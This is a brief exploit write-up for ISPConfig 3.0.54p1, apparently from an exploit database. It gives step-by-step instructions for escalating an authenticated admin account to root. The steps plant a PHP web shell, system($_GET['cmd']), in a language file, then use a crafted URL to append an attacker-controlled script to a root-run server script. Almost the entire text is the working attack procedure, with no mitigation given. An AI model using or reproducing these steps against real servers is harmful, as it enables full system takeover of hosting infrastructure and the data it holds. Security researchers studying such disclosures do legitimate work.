ISPConfig 3.0.54p1 – Authenticated Admin Local root Vulnerability

# Exploit Title: ISPConfig 3 authenticated admin Localroot vulnerability
# Date: 7/25/14
# Exploit Author: mra
# Vendor Homepage: http://wwwispconfig.org
# Version: 3.0.54p1
# Tested on: ubuntu, centos
# irc.criten.net #elite-chat


While logged in as admin user:


1) add a shell user

2) under option set gid to ispconfig

3) log in as that user

4) edit /usr/local/ispconfig/interface/lib/lang/en.lng with system($_GET['cmd']);


5) browse to: http://server:8080/index.php?cmd=echo /tmp/script >>/usr/local/ispconfig/server/server.sh


6) create /tmp/script and put a command you wish to be executed as root.